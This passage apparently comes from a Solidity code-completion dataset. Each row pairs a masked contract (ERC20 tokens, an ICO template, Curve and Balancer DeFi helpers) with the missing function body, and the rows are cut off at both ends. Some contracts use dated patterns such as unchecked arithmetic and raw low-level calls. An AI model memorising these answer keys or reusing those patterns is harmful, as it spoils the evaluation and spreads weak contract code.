require(_amount <= get_lp_token_balance(), "withdraw_from_curve: too large amount");
IERC20(lp_token_addr).approve(address(pool_deposit), _amount);
pool_deposit.remove_liquidity_one_coin(
meta_pool_addr,
_amount,
2,
0
);
}
<FILL_FUNCTION>
function setController(address _controller, address _vault) public onlyOwner{
controller = _controller;
vault = _vault;
}
function claimStdToken(address _token, address payable to) public onlyOwner{
_claimStdTokens(_token, to);
}
function get_lp_token_balance() public view returns(uint256){
return lp_balance;
}
function get_lp_token_addr() public view returns(address){
return lp_token_addr;
}
function get_virtual_price() public view returns(uint256) {
return PriceInterfaceERC20(address(meta_pool_addr)).get_virtual_price();
}
} |
require(crv_minter_addr != MinterInterfaceERC20(0x0), "no crv minter");
crv_minter_addr.mint(address(crv_gauge_addr));
IERC20(crv_token_addr).transfer(msg.sender, IERC20(crv_token_addr).balanceOf(address(this)));
if (extra_token_addr != address(0x0)) {
crv_gauge_addr.claim_rewards(address(this));
IERC20(extra_token_addr).transfer(msg.sender, IERC20(extra_token_addr).balanceOf(address(this)));
}
| function earn_crv() public onlyController | function earn_crv() public onlyController |
75673 | XVKcoin | transferFrom | contract XVKcoin is StandardToken {
uint256 constant private MAX_UINT256 = 2**256 - 1;
mapping (address => uint256) public balances;
mapping (address => mapping (address => uint256)) public allowed;
/*
NOTE:
The following variables are OPTIONAL vanities. One does not have to include them.
They allow one to customise the token contract & in no way influences the core functionality.
Some wallets/interfaces might not even bother to look at this information.
*/
string public name = "XVK Coin"; //fancy name: eg Simon Bucks
uint8 public decimals = 18; //How many decimals to show.
string public symbol = "XVK"; //An identifier: eg SBX
function XVKcoin(
) public {
balances[msg.sender] = 88888888000000000000000000; // Give the creator all initial tokens
totalSupply = 88888888000000000000000000; // Update total supply
name = "XVKcoin"; // Set the name for display purposes
decimals = 18; // Amount of decimals for display purposes
symbol = "XVK"; // Set the symbol for display purposes
}
function transfer(address _to, uint256 _value) public returns (bool success) {
require(balances[msg.sender] >= _value);
balances[msg.sender] -= _value;
balances[_to] += _value;
Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {<FILL_FUNCTION_BODY> }
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
function approve(address _spender, uint256 _value) public returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256 remaining) {
return allowed[_owner][_spender];
}
} | contract XVKcoin is StandardToken {
uint256 constant private MAX_UINT256 = 2**256 - 1;
mapping (address => uint256) public balances;
mapping (address => mapping (address => uint256)) public allowed;
/*
NOTE:
The following variables are OPTIONAL vanities. One does not have to include them.
They allow one to customise the token contract & in no way influences the core functionality.
Some wallets/interfaces might not even bother to look at this information.
*/
string public name = "XVK Coin"; //fancy name: eg Simon Bucks
uint8 public decimals = 18; //How many decimals to show.
string public symbol = "XVK"; //An identifier: eg SBX
function XVKcoin(
) public {
balances[msg.sender] = 88888888000000000000000000; // Give the creator all initial tokens
totalSupply = 88888888000000000000000000; // Update total supply
name = "XVKcoin"; // Set the name for display purposes
decimals = 18; // Amount of decimals for display purposes
symbol = "XVK"; // Set the symbol for display purposes
}
function transfer(address _to, uint256 _value) public returns (bool success) {
require(balances[msg.sender] >= _value);
balances[msg.sender] -= _value;
balances[_to] += _value;
Transfer(msg.sender, _to, _value);
return true;
}
<FILL_FUNCTION>
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
function approve(address _spender, uint256 _value) public returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256 remaining) {
return allowed[_owner][_spender];
}
} |
uint256 allowance = allowed[_from][msg.sender];
require(balances[_from] >= _value && allowance >= _value);
balances[_to] += _value;
balances[_from] -= _value;
if (allowance < MAX_UINT256) {
allowed[_from][msg.sender] -= _value;
}
Transfer(_from, _to, _value);
return true;
| function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) | function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) |
85790 | testyayaho | testyayaho | contract testyayaho is StandardToken { // CHANGE THIS. Update the contract name.
/* Public variables of the token */
/*
NOTE:
The following variables are OPTIONAL vanities. One does not have to include them.
They allow one to customise the token contract & in no way influences the core functionality.
Some wallets/interfaces might not even bother to look at this information.
*/
string public name; // Token Name
uint8 public decimals; // How many decimals to show. To be standard complicant keep it 18
string public symbol; // An identifier: eg SBX, XPR etc..
string public version = 'H1.0';
uint256 public unitsOneEthCanBuy; // How many units of your coin can be bought by 1 ETH?
uint256 public totalEthInWei; // WEI is the smallest unit of ETH (the equivalent of cent in USD or satoshi in BTC). We'll store the total ETH raised via our ICO here.
address public fundsWallet; // Where should the raised ETH go?
// This is a constructor function
// which means the following function name has to match the contract name declared above
function testyayaho() {<FILL_FUNCTION_BODY> }
function() payable{
totalEthInWei = totalEthInWei + msg.value;
uint256 amount = msg.value * unitsOneEthCanBuy;
require(balances[fundsWallet] >= amount);
balances[fundsWallet] = balances[fundsWallet] - amount;
balances[msg.sender] = balances[msg.sender] + amount;
Transfer(fundsWallet, msg.sender, amount); // Broadcast a message to the blockchain
//Transfer ether to fundsWallet
fundsWallet.transfer(msg.value);
}
/* Approves and then calls the receiving contract */
function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
//call the receiveApproval function on the contract you want to be notified. This crafts the function signature manually so one doesn't have to include a contract in here just for this.
//receiveApproval(address _from, uint256 _value, address _tokenContract, bytes _extraData)
//it is assumed that when does this that the call *should* succeed, otherwise one would use vanilla approve instead.
if(!_spender.call(bytes4(bytes32(sha3("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData)) { throw; }
return true;
}
} | contract testyayaho is StandardToken { // CHANGE THIS. Update the contract name.
/* Public variables of the token */
/*
NOTE:
The following variables are OPTIONAL vanities. One does not have to include them.
They allow one to customise the token contract & in no way influences the core functionality.
Some wallets/interfaces might not even bother to look at this information.
*/
string public name; // Token Name
uint8 public decimals; // How many decimals to show. To be standard complicant keep it 18
string public symbol; // An identifier: eg SBX, XPR etc..
string public version = 'H1.0';
uint256 public unitsOneEthCanBuy; // How many units of your coin can be bought by 1 ETH?
uint256 public totalEthInWei; // WEI is the smallest unit of ETH (the equivalent of cent in USD or satoshi in BTC). We'll store the total ETH raised via our ICO here.
address public fundsWallet; <FILL_FUNCTION>
function() payable{
totalEthInWei = totalEthInWei + msg.value;
uint256 amount = msg.value * unitsOneEthCanBuy;
require(balances[fundsWallet] >= amount);
balances[fundsWallet] = balances[fundsWallet] - amount;
balances[msg.sender] = balances[msg.sender] + amount;
Transfer(fundsWallet, msg.sender, amount); // Broadcast a message to the blockchain
//Transfer ether to fundsWallet
fundsWallet.transfer(msg.value);
}
/* Approves and then calls the receiving contract */
function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
//call the receiveApproval function on the contract you want to be notified. This crafts the function signature manually so one doesn't have to include a contract in here just for this.
//receiveApproval(address _from, uint256 _value, address _tokenContract, bytes _extraData)
//it is assumed that when does this that the call *should* succeed, otherwise one would use vanilla approve instead.
if(!_spender.call(bytes4(bytes32(sha3("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData)) { throw; }
return true;
}
} |
balances[msg.sender] = 1000000000000000000000000000; // Give the creator all initial tokens. This is set to 1000 for example. If you want your initial tokens to be X and your decimal is 5, set this value to X * 100000. (CHANGE THIS)
totalSupply = 1000000000000000000000000000; // Update total supply (1000 for example) (CHANGE THIS)
name = "testyayaho"; // Set the name for display purposes (CHANGE THIS)
decimals = 18; // Amount of decimals for display purposes (CHANGE THIS)
symbol = "TYH"; // Set the symbol for display purposes (CHANGE THIS)
unitsOneEthCanBuy = 100000000; // Set the price of your token for the ICO (CHANGE THIS)
fundsWallet = msg.sender; // The owner of the contract gets ETH
| function testyayaho() | // Where should the raised ETH go?
// This is a constructor function
// which means the following function name has to match the contract name declared above
function testyayaho() |
81634 | AMTBToken | AMTBToken | contract AMTBToken is StandardToken {
function () {
//if ether is sent to this address, send it back.
throw;
}
/* Public variables of the token */
string public name;
uint8 public decimals;
string public symbol;
string public version = 'H1.0';
function AMTBToken(
) {<FILL_FUNCTION_BODY> }
/* Approves and then calls the receiving contract */
function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
if(!_spender.call(bytes4(bytes32(sha3("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData)) { throw; }
return true;
}
} | contract AMTBToken is StandardToken {
function () {
//if ether is sent to this address, send it back.
throw;
}
/* Public variables of the token */
string public name;
uint8 public decimals;
string public symbol;
string public version = 'H1.0';
<FILL_FUNCTION>
/* Approves and then calls the receiving contract */
function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
if(!_spender.call(bytes4(bytes32(sha3("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData)) { throw; }
return true;
}
} |
balances[msg.sender] = 22000000000 * 1000000000000000000; // Give the creator all initial tokens, 18 zero is 18 Decimals
totalSupply = 22000000000 * 1000000000000000000; // Update total supply, , 18 zero is 18 Decimals
name = "America Technology Bond"; // Token Name
decimals = 18; // Amount of decimals for display purposes
symbol = "AMTB"; // Token Symbol
| function AMTBToken(
) | function AMTBToken(
) |
66861 | Balancer_ZapIn_General_V2_6 | ZapIn | contract Balancer_ZapIn_General_V2_6 is ReentrancyGuard, Ownable {
using SafeMath for uint256;
using Address for address;
using SafeERC20 for IERC20;
bool public stopped = false;
uint16 public goodwill;
IBFactory BalancerFactory = IBFactory(
0x9424B1412450D0f8Fc2255FAf6046b98213B76Bd
);
IUniswapV2Factory
private constant UniSwapV2FactoryAddress = IUniswapV2Factory(
0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f
);
IUniswapRouter02 private constant uniswapRouter = IUniswapRouter02(
0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
);
address
private constant wethTokenAddress = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
address payable
public zgoodwillAddress = 0xE737b6AfEC2320f616297e59445b60a11e3eF75F;
uint256
private constant deadline = 0xf000000000000000000000000000000000000000000000000000000000000000;
event zap(
address zapContract,
address userAddress,
address tokenAddress,
uint256 volume,
uint256 timestamp
);
constructor(uint16 _goodwill) public {
goodwill = _goodwill;
}
// circuit breaker modifiers
modifier stopInEmergency {
if (stopped) {
revert("Temporarily Paused");
} else {
_;
}
}
/**
@notice This function is used to invest in given balancer pool through ETH/ERC20 Tokens
@param _FromTokenContractAddress The token used for investment (address(0x00) if ether)
@param _ToBalancerPoolAddress The address of balancer pool to zapin
@param _amount The amount of ERC to invest
@param _minPoolTokens for slippage
@return success or failure
*/
function ZapIn(
address _FromTokenContractAddress,
address _ToBalancerPoolAddress,
uint256 _amount,
uint256 _minPoolTokens
)
public
payable
nonReentrant
stopInEmergency
returns (uint256 tokensBought)
{<FILL_FUNCTION_BODY> }
/**
@notice This function internally called by ZapIn() and EasyZapIn()
@param _toWhomToIssue The user address who want to invest
@param _FromTokenContractAddress The token used for investment (address(0x00) if ether)
@param _ToBalancerPoolAddress The address of balancer pool to zapin
@param _amount The amount of ETH/ERC to invest
@param _IntermediateToken The token for intermediate conversion before zapin
@param _minPoolTokens for slippage
@return The quantity of Balancer Pool tokens returned
*/
function _performZapIn(
address _toWhomToIssue,
address _FromTokenContractAddress,
address _ToBalancerPoolAddress,
uint256 _amount,
address _IntermediateToken,
uint256 _minPoolTokens
) internal returns (uint256 tokensBought) {
// check if isBound()
bool isBound = IBPool(_ToBalancerPoolAddress).isBound(
_FromTokenContractAddress
);
uint256 balancerTokens;
if (isBound) {
balancerTokens = _enter2Balancer(
_ToBalancerPoolAddress,
_FromTokenContractAddress,
_amount,
_minPoolTokens
);
} else {
// swap tokens or eth
uint256 tokenBought;
if (_FromTokenContractAddress == address(0)) {
tokenBought = _eth2Token(_amount, _IntermediateToken);
} else {
tokenBought = _token2Token(
_FromTokenContractAddress,
_IntermediateToken,
_amount
);
}
//get BPT
balancerTokens = _enter2Balancer(
_ToBalancerPoolAddress,
_IntermediateToken,
tokenBought,
_minPoolTokens
);
}
//transfer tokens to user
IERC20(_ToBalancerPoolAddress).safeTransfer(
_toWhomToIssue,
balancerTokens
);
return balancerTokens;
}
/**
@notice This function is used to zapin to balancer pool
@param _ToBalancerPoolAddress The address of balancer pool to zap in
@param _FromTokenContractAddress The token used to zap in
@param tokens2Trade The amount of tokens to invest
@return The quantity of Balancer Pool tokens returned
*/
function _enter2Balancer(
address _ToBalancerPoolAddress,
address _FromTokenContractAddress,
uint256 tokens2Trade,
uint256 _minPoolTokens
) internal returns (uint256 poolTokensOut) {
require(
IBPool(_ToBalancerPoolAddress).isBound(_FromTokenContractAddress),
"Token not bound"
);
uint256 allowance = IERC20(_FromTokenContractAddress).allowance(
address(this),
_ToBalancerPoolAddress
);
if (allowance < tokens2Trade) {
IERC20(_FromTokenContractAddress).safeApprove(
_ToBalancerPoolAddress,
uint256(-1)
);
}
poolTokensOut = IBPool(_ToBalancerPoolAddress).joinswapExternAmountIn(
_FromTokenContractAddress,
tokens2Trade,
_minPoolTokens
);
require(poolTokensOut > 0, "Error in entering balancer pool");
}
/**
@notice This function finds best token from the final tokens of balancer pool
@param _ToBalancerPoolAddress The address of balancer pool to zap in
@param _amount amount of eth/erc to invest
@param _FromTokenContractAddress the token address which is used to invest
@return The token address having max liquidity
*/
function _getBestDeal(
address _ToBalancerPoolAddress,
uint256 _amount,
address _FromTokenContractAddress
) internal view returns (address _token) {
// If input is not eth or weth
if (
_FromTokenContractAddress != address(0) &&
_FromTokenContractAddress != wethTokenAddress
) {
// check if input token or weth is bound and if so return it as intermediate
bool isBound = IBPool(_ToBalancerPoolAddress).isBound(
_FromTokenContractAddress
);
if (isBound) return _FromTokenContractAddress;
}
bool wethIsBound = IBPool(_ToBalancerPoolAddress).isBound(
wethTokenAddress
);
if (wethIsBound) return wethTokenAddress;
//get token list
address[] memory tokens = IBPool(_ToBalancerPoolAddress)
.getFinalTokens();
uint256 amount = _amount;
address[] memory path = new address[](2);
if (
_FromTokenContractAddress != address(0) &&
_FromTokenContractAddress != wethTokenAddress
) {
path[0] = _FromTokenContractAddress;
path[1] = wethTokenAddress;
//get eth value for given token
amount = uniswapRouter.getAmountsOut(_amount, path)[1];
}
uint256 maxBPT;
path[0] = wethTokenAddress;
for (uint256 index = 0; index < tokens.length; index++) {
uint256 expectedBPT;
if (tokens[index] != wethTokenAddress) {
if (
UniSwapV2FactoryAddress.getPair(
tokens[index],
wethTokenAddress
) == address(0)
) {
continue;
}
//get qty of tokens
path[1] = tokens[index];
uint256 expectedTokens = uniswapRouter.getAmountsOut(
amount,
path
)[1];
//get bpt for given tokens
expectedBPT = getToken2BPT(
_ToBalancerPoolAddress,
expectedTokens,
tokens[index]
);
//get token giving max BPT
if (maxBPT < expectedBPT) {
maxBPT = expectedBPT;
_token = tokens[index];
}
} else {
//get bpt for given weth tokens
expectedBPT = getToken2BPT(
_ToBalancerPoolAddress,
amount,
tokens[index]
);
}
//get token giving max BPT
if (maxBPT < expectedBPT) {
maxBPT = expectedBPT;
_token = tokens[index];
}
}
}
/**
@notice Function gives the expected amount of pool tokens on investing
@param _ToBalancerPoolAddress Address of balancer pool to zapin
@param _IncomingERC The amount of ERC to invest
@param _FromToken Address of token to zap in with
@return Amount of BPT token
*/
function getToken2BPT(
address _ToBalancerPoolAddress,
uint256 _IncomingERC,
address _FromToken
) internal view returns (uint256 tokensReturned) {
uint256 totalSupply = IBPool(_ToBalancerPoolAddress).totalSupply();
uint256 swapFee = IBPool(_ToBalancerPoolAddress).getSwapFee();
uint256 totalWeight = IBPool(_ToBalancerPoolAddress)
.getTotalDenormalizedWeight();
uint256 balance = IBPool(_ToBalancerPoolAddress).getBalance(_FromToken);
uint256 denorm = IBPool(_ToBalancerPoolAddress).getDenormalizedWeight(
_FromToken
);
tokensReturned = IBPool(_ToBalancerPoolAddress)
.calcPoolOutGivenSingleIn(
balance,
denorm,
totalSupply,
totalWeight,
_IncomingERC,
swapFee
);
}
/**
@notice This function is used to buy tokens from eth
@param _tokenContractAddress Token address which we want to buy
@return The quantity of token bought
*/
function _eth2Token(uint256 _ethAmt, address _tokenContractAddress)
internal
returns (uint256 tokenBought)
{
if (_tokenContractAddress == wethTokenAddress) {
IWETH(wethTokenAddress).deposit.value(_ethAmt)();
return _ethAmt;
}
address[] memory path = new address[](2);
path[0] = wethTokenAddress;
path[1] = _tokenContractAddress;
tokenBought = uniswapRouter.swapExactETHForTokens.value(_ethAmt)(
1,
path,
address(this),
deadline
)[path.length - 1];
}
/**
@notice This function is used to swap tokens
@param _FromTokenContractAddress The token address to swap from
@param _ToTokenContractAddress The token address to swap to
@param tokens2Trade The amount of tokens to swap
@return The quantity of tokens bought
*/
function _token2Token(
address _FromTokenContractAddress,
address _ToTokenContractAddress,
uint256 tokens2Trade
) internal returns (uint256 tokenBought) {
IERC20(_FromTokenContractAddress).safeApprove(
address(uniswapRouter),
tokens2Trade
);
if (_FromTokenContractAddress != wethTokenAddress) {
if (_ToTokenContractAddress != wethTokenAddress) {
address[] memory path = new address[](3);
path[0] = _FromTokenContractAddress;
path[1] = wethTokenAddress;
path[2] = _ToTokenContractAddress;
tokenBought = uniswapRouter.swapExactTokensForTokens(
tokens2Trade,
1,
path,
address(this),
deadline
)[path.length - 1];
} else {
address[] memory path = new address[](2);
path[0] = _FromTokenContractAddress;
path[1] = wethTokenAddress;
tokenBought = uniswapRouter.swapExactTokensForTokens(
tokens2Trade,
1,
path,
address(this),
deadline
)[path.length - 1];
}
} else {
address[] memory path = new address[](2);
path[0] = wethTokenAddress;
path[1] = _ToTokenContractAddress;
tokenBought = uniswapRouter.swapExactTokensForTokens(
tokens2Trade,
1,
path,
address(this),
deadline
)[path.length - 1];
}
require(tokenBought > 0, "Error in swapping ERC: 1");
}
/**
@notice This function is used to calculate and transfer goodwill
@param _tokenContractAddress Token in which goodwill is deducted
@param tokens2Trade The total amount of tokens to be zapped in
@return The quantity of goodwill deducted
*/
function _transferGoodwill(
address _tokenContractAddress,
uint256 tokens2Trade
) internal returns (uint256 goodwillPortion) {
goodwillPortion = SafeMath.div(
SafeMath.mul(tokens2Trade, goodwill),
10000
);
if (goodwillPortion == 0) {
return 0;
}
if (_tokenContractAddress == address(0)) {
Address.sendValue(zgoodwillAddress, goodwillPortion);
} else {
IERC20(_tokenContractAddress).safeTransfer(
zgoodwillAddress,
goodwillPortion
);
}
}
function set_new_goodwill(uint16 _new_goodwill) public onlyOwner {
require(
_new_goodwill >= 0 && _new_goodwill < 10000,
"GoodWill Value not allowed"
);
goodwill = _new_goodwill;
}
function set_new_zgoodwillAddress(address payable _new_zgoodwillAddress)
public
onlyOwner
{
zgoodwillAddress = _new_zgoodwillAddress;
}
function inCaseTokengetsStuck(IERC20 _TokenAddress) public onlyOwner {
uint256 qty = _TokenAddress.balanceOf(address(this));
IERC20(address(_TokenAddress)).safeTransfer(owner(), qty);
}
// - to Pause the contract
function toggleContractActive() public onlyOwner {
stopped = !stopped;
}
// - to withdraw any ETH balance sitting in the contract
function withdraw() public onlyOwner {
uint256 contractBalance = address(this).balance;
address payable _to = owner().toPayable();
_to.transfer(contractBalance);
}
function() external payable {}
} | contract Balancer_ZapIn_General_V2_6 is ReentrancyGuard, Ownable {
using SafeMath for uint256;
using Address for address;
using SafeERC20 for IERC20;
bool public stopped = false;
uint16 public goodwill;
IBFactory BalancerFactory = IBFactory(
0x9424B1412450D0f8Fc2255FAf6046b98213B76Bd
);
IUniswapV2Factory
private constant UniSwapV2FactoryAddress = IUniswapV2Factory(
0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f
);
IUniswapRouter02 private constant uniswapRouter = IUniswapRouter02(
0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
);
address
private constant wethTokenAddress = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
address payable
public zgoodwillAddress = 0xE737b6AfEC2320f616297e59445b60a11e3eF75F;
uint256
private constant deadline = 0xf000000000000000000000000000000000000000000000000000000000000000;
event zap(
address zapContract,
address userAddress,
address tokenAddress,
uint256 volume,
uint256 timestamp
);
constructor(uint16 _goodwill) public {
goodwill = _goodwill;
}
// circuit breaker modifiers
modifier stopInEmergency {
if (stopped) {
revert("Temporarily Paused");
} else {
_;
}
}
<FILL_FUNCTION>
/**
@notice This function internally called by ZapIn() and EasyZapIn()
@param _toWhomToIssue The user address who want to invest
@param _FromTokenContractAddress The token used for investment (address(0x00) if ether)
@param _ToBalancerPoolAddress The address of balancer pool to zapin
@param _amount The amount of ETH/ERC to invest
@param _IntermediateToken The token for intermediate conversion before zapin
@param _minPoolTokens for slippage
@return The quantity of Balancer Pool tokens returned
*/
function _performZapIn(
address _toWhomToIssue,
address _FromTokenContractAddress,
address _ToBalancerPoolAddress,
uint256 _amount,
address _IntermediateToken,
uint256 _minPoolTokens
) internal returns (uint256 tokensBought) {
// check if isBound()
bool isBound = IBPool(_ToBalancerPoolAddress).isBound(
_FromTokenContractAddress
);
uint256 balancerTokens;
if (isBound) {
balancerTokens = _enter2Balancer(
_ToBalancerPoolAddress,
_FromTokenContractAddress,
_amount,
_minPoolTokens
);
} else {
// swap tokens or eth
uint256 tokenBought;
if (_FromTokenContractAddress == address(0)) {
tokenBought = _eth2Token(_amount, _IntermediateToken);
} else {
tokenBought = _token2Token(
_FromTokenContractAddress,
_IntermediateToken,
_amount
);
}
//get BPT
balancerTokens = _enter2Balancer(
_ToBalancerPoolAddress,
_IntermediateToken,
tokenBought,
_minPoolTokens
);
}
//transfer tokens to user
IERC20(_ToBalancerPoolAddress).safeTransfer(
_toWhomToIssue,
balancerTokens
);
return balancerTokens;
}
/**
@notice This function is used to zapin to balancer pool
@param _ToBalancerPoolAddress The address of balancer pool to zap in
@param _FromTokenContractAddress The token used to zap in
@param tokens2Trade The amount of tokens to invest
@return The quantity of Balancer Pool tokens returned
*/
function _enter2Balancer(
address _ToBalancerPoolAddress,
address _FromTokenContractAddress,
uint256 tokens2Trade,
uint256 _minPoolTokens
) internal returns (uint256 poolTokensOut) {
require(
IBPool(_ToBalancerPoolAddress).isBound(_FromTokenContractAddress),
"Token not bound"
);
uint256 allowance = IERC20(_FromTokenContractAddress).allowance(
address(this),
_ToBalancerPoolAddress
);
if (allowance < tokens2Trade) {
IERC20(_FromTokenContractAddress).safeApprove(
_ToBalancerPoolAddress,
uint256(-1)
);
}
poolTokensOut = IBPool(_ToBalancerPoolAddress).joinswapExternAmountIn(
_FromTokenContractAddress,
tokens2Trade,
_minPoolTokens
);
require(poolTokensOut > 0, "Error in entering balancer pool");
}
/**
@notice This function finds best token from the final tokens of balancer pool
@param _ToBalancerPoolAddress The address of balancer pool to zap in
@param _amount amount of eth/erc to invest
@param _FromTokenContractAddress the token address which is used to invest
@return The token address having max liquidity
*/
function _getBestDeal(
address _ToBalancerPoolAddress,
uint256 _amount,
address _FromTokenContractAddress
) internal view returns (address _token) {
// If input is not eth or weth
if (
_FromTokenContractAddress != address(0) &&
_FromTokenContractAddress != wethTokenAddress
) {
// check if input token or weth is bound and if so return it as intermediate
bool isBound = IBPool(_ToBalancerPoolAddress).isBound(
_FromTokenContractAddress
);
if (isBound) return _FromTokenContractAddress;
}
bool wethIsBound = IBPool(_ToBalancerPoolAddress).isBound(
wethTokenAddress
);
if (wethIsBound) return wethTokenAddress;
//get token list
address[] memory tokens = IBPool(_ToBalancerPoolAddress)
.getFinalTokens();
uint256 amount = _amount;
address[] memory path = new address[](2);
if (
_FromTokenContractAddress != address(0) &&
_FromTokenContractAddress != wethTokenAddress
) {
path[0] = _FromTokenContractAddress;
path[1] = wethTokenAddress;
//get eth value for given token
amount = uniswapRouter.getAmountsOut(_amount, path)[1];
}
uint256 maxBPT;
path[0] = wethTokenAddress;
for (uint256 index = 0; index < tokens.length; index++) {
uint256 expectedBPT;
if (tokens[index] != wethTokenAddress) {
if (
UniSwapV2FactoryAddress.getPair(
tokens[index],
wethTokenAddress
) == address(0)
) {
continue;
}
//get qty of tokens
path[1] = tokens[index];
uint256 expectedTokens = uniswapRouter.getAmountsOut(
amount,
path
)[1];
//get bpt for given tokens
expectedBPT = getToken2BPT(
_ToBalancerPoolAddress,
expectedTokens,
tokens[index]
);
//get token giving max BPT
if (maxBPT < expectedBPT) {
maxBPT = expectedBPT;
_token = tokens[index];
}
} else {
//get bpt for given weth tokens
expectedBPT = getToken2BPT(
_ToBalancerPoolAddress,
amount,
tokens[index]
);
}
//get token giving max BPT
if (maxBPT < expectedBPT) {
maxBPT = expectedBPT;
_token = tokens[index];
}
}
}
/**
@notice Function gives the expected amount of pool tokens on investing
@param _ToBalancerPoolAddress Address of balancer pool to zapin
@param _IncomingERC The amount of ERC to invest
@param _FromToken Address of token to zap in with
@return Amount of BPT token
*/
function getToken2BPT(
address _ToBalancerPoolAddress,
uint256 _IncomingERC,
address _FromToken
) internal view returns (uint256 tokensReturned) {
uint256 totalSupply = IBPool(_ToBalancerPoolAddress).totalSupply();
uint256 swapFee = IBPool(_ToBalancerPoolAddress).getSwapFee();
uint256 totalWeight = IBPool(_ToBalancerPoolAddress)
.getTotalDenormalizedWeight();
uint256 balance = IBPool(_ToBalancerPoolAddress).getBalance(_FromToken);
uint256 denorm = IBPool(_ToBalancerPoolAddress).getDenormalizedWeight(
_FromToken
);
tokensReturned = IBPool(_ToBalancerPoolAddress)
.calcPoolOutGivenSingleIn(
balance,
denorm,
totalSupply,
totalWeight,
_IncomingERC,
swapFee
);
}
/**
@notice This function is used to buy tokens from eth
@param _tokenContractAddress Token address which we want to buy
@return The quantity of token bought
*/
function _eth2Token(uint256 _ethAmt, address _tokenContractAddress)
internal
returns (uint256 tokenBought)
{
if (_tokenContractAddress == wethTokenAddress) {
IWETH(wethTokenAddress).deposit.value(_ethAmt)();
return _ethAmt;
}
address[] memory path = new address[](2);
path[0] = wethTokenAddress;
path[1] = _tokenContractAddress;
tokenBought = uniswapRouter.swapExactETHForTokens.value(_ethAmt)(
1,
path,
address(this),
deadline
)[path.length - 1];
}
/**
@notice This function is used to swap tokens
@param _FromTokenContractAddress The token address to swap from
@param _ToTokenContractAddress The token address to swap to
@param tokens2Trade The amount of tokens to swap
@return The quantity of tokens bought
*/
function _token2Token(
address _FromTokenContractAddress,
address _ToTokenContractAddress,
uint256 tokens2Trade
) internal returns (uint256 tokenBought) {
IERC20(_FromTokenContractAddress).safeApprove(
address(uniswapRouter),
tokens2Trade
);
if (_FromTokenContractAddress != wethTokenAddress) {
if (_ToTokenContractAddress != wethTokenAddress) {
address[] memory path = new address[](3);
path[0] = _FromTokenContractAddress;
path[1] = wethTokenAddress;
path[2] = _ToTokenContractAddress;
tokenBought = uniswapRouter.swapExactTokensForTokens(
tokens2Trade,
1,
path,
address(this),
deadline
)[path.length - 1];
} else {
address[] memory path = new address[](2);
path[0] = _FromTokenContractAddress;
path[1] = wethTokenAddress;
tokenBought = uniswapRouter.swapExactTokensForTokens(
tokens2Trade,
1,
path,
address(this),
deadline
)[path.length - 1];
}
} else {
address[] memory path = new address[](2);
path[0] = wethTokenAddress;
path[1] = _ToTokenContractAddress;
tokenBought = uniswapRouter.swapExactTokensForTokens(
tokens2Trade,
1,
path,
address(this),
deadline
)[path.length - 1];
}
require(tokenBought > 0, "Error in swapping ERC: 1");
}
/**
@notice This function is used to calculate and transfer goodwill
@param _tokenContractAddress Token in which goodwill is deducted
@param tokens2Trade The total amount of tokens to be zapped in
@return The quantity of goodwill deducted
*/
function _transferGoodwill(
address _tokenContractAddress,
uint256 tokens2Trade
) internal returns (uint256 goodwillPortion) {
goodwillPortion = SafeMath.div(
SafeMath.mul(tokens2Trade, goodwill),
10000
);
if (goodwillPortion == 0) {
return 0;
}
if (_tokenContractAddress == address(0)) {
Address.sendValue(zgoodwillAddress, goodwillPortion);
} else {
IERC20(_tokenContractAddress).safeTransfer(
zgoodwillAddress,
goodwillPortion
);
}
}
function set_new_goodwill(uint16 _new_goodwill) public onlyOwner {
require(
_new_goodwill >= 0 && _new_goodwill < 10000,
"GoodWill Value not allowed"
);
goodwill = _new_goodwill;
}
function set_new_zgoodwillAddress(address payable _new_zgoodwillAddress)
public
onlyOwner
{
zgoodwillAddress = _new_zgoodwillAddress;
}
function inCaseTokengetsStuck(IERC20 _TokenAddress) public onlyOwner {
uint256 qty = _TokenAddress.balanceOf(address(this));
IERC20(address(_TokenAddress)).safeTransfer(owner(), qty);
}
// - to Pause the contract
function toggleContractActive() public onlyOwner {
stopped = !stopped;
}
// - to withdraw any ETH balance sitting in the contract
function withdraw() public onlyOwner {
uint256 contractBalance = address(this).balance;
address payable _to = owner().toPayable();
_to.transfer(contractBalance);
}
function() external payable {}
} |
require(
BalancerFactory.isBPool(_ToBalancerPoolAddress),
"Invalid Balancer Pool"
);
emit zap(
address(this),
msg.sender,
_FromTokenContractAddress,
_amount,
now
);
if (_FromTokenContractAddress == address(0)) {
require(msg.value > 0, "ERR: No ETH sent");
//transfer eth to goodwill
uint256 goodwillPortion = _transferGoodwill(address(0), msg.value);
address _IntermediateToken = _getBestDeal(
_ToBalancerPoolAddress,
msg.value,
_FromTokenContractAddress
);
tokensBought = _performZapIn(
msg.sender,
_FromTokenContractAddress,
_ToBalancerPoolAddress,
